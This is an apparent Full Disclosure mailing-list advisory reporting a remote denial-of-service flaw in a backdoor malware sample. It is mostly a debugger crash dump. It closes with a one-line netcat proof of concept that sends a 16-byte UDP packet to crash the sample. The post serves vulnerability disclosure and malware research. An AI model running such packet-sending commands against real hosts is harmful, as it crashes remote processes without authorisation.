Message-ID: <CAAHK0WQAEkwin60B=6kUzhG-ARharqY5e=DFSKPCoYQh3xJo7A@mail.gmail.com>
Date: Sun, 7 Nov 2021 21:20:41 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] HEUR.Backdoor.Win32.Denis.gen / Remote Denial of Service (UDP
	Datagram)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/1a4d58e281103fea2a4ccbfab93f74d2.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Denis.gen
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The malware listens on UDP port 50530 and the last digit
increments by one each time the malware is restarted e.g. 50531.
Third-party attackers who can reach infected systems can send 16 byte UDP
packet to trigger an access violation and crash.
Type: PE32
MD5: 1a4d58e281103fea2a4ccbfab93f74d2
Vuln ID: MVID-2021-0395
Disclosure: 11/07/2021

Memory Dump:
(ebc.15e4): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=01003ff0 edx=0000415d esi=00000003
edi=00000003
eip=7770ed3c esp=00bbec44 ebp=00bbedd4 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400          ret     14h

0:000> .ecxr
eax=00bbf6a8 ebx=0000415d ecx=01003ff0 edx=0000415d esi=00000000
edi=00000000
eip=012020eb esp=00bbf584 ebp=00bbf5d0 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for
HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb:
012020eb 8a0419          mov     al,byte ptr [ecx+ebx]
 ds:002b:0100814d=??

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419          mov     al,byte ptr [ecx+ebx]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 012020eb
(HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x000020eb)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0100814d
Attempt to read from address 0100814d

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:
 HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  0100814d

READ_ADDRESS:  0100814d

FOLLOWUP_IP:
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419          mov     al,byte ptr [ecx+ebx]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000015e4

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 01206b11 to 012020eb

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
00bbf5d0 01206b11 01003ff0 0000415d 01002fe8
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb
00bbf9c4 01206e25 01214b3c 01200000 00000000
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6b11
00bbfa58 77408654 00ceb000 77408630 db60d728
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6e25
00bbfa6c 77704a77 00ceb000 c59b8fff 00000000
kernel32!BaseThreadInitThunk+0x24
00bbfab4 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f
00bbfac4 00000000 01214b8f 00ceb000 00000000 ntdll!_RtlUserThreadStart+0x1b


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:
 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2

IMAGE_NAME:
 HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  502fe904

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:
 INVALID_POINTER_READ_c0000005_HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_INVALID_POINTER_READ_HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb



Exploit/PoC:
python -c "print('A'*16)" | nc64.exe x.x.x.x -u -c 50531


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists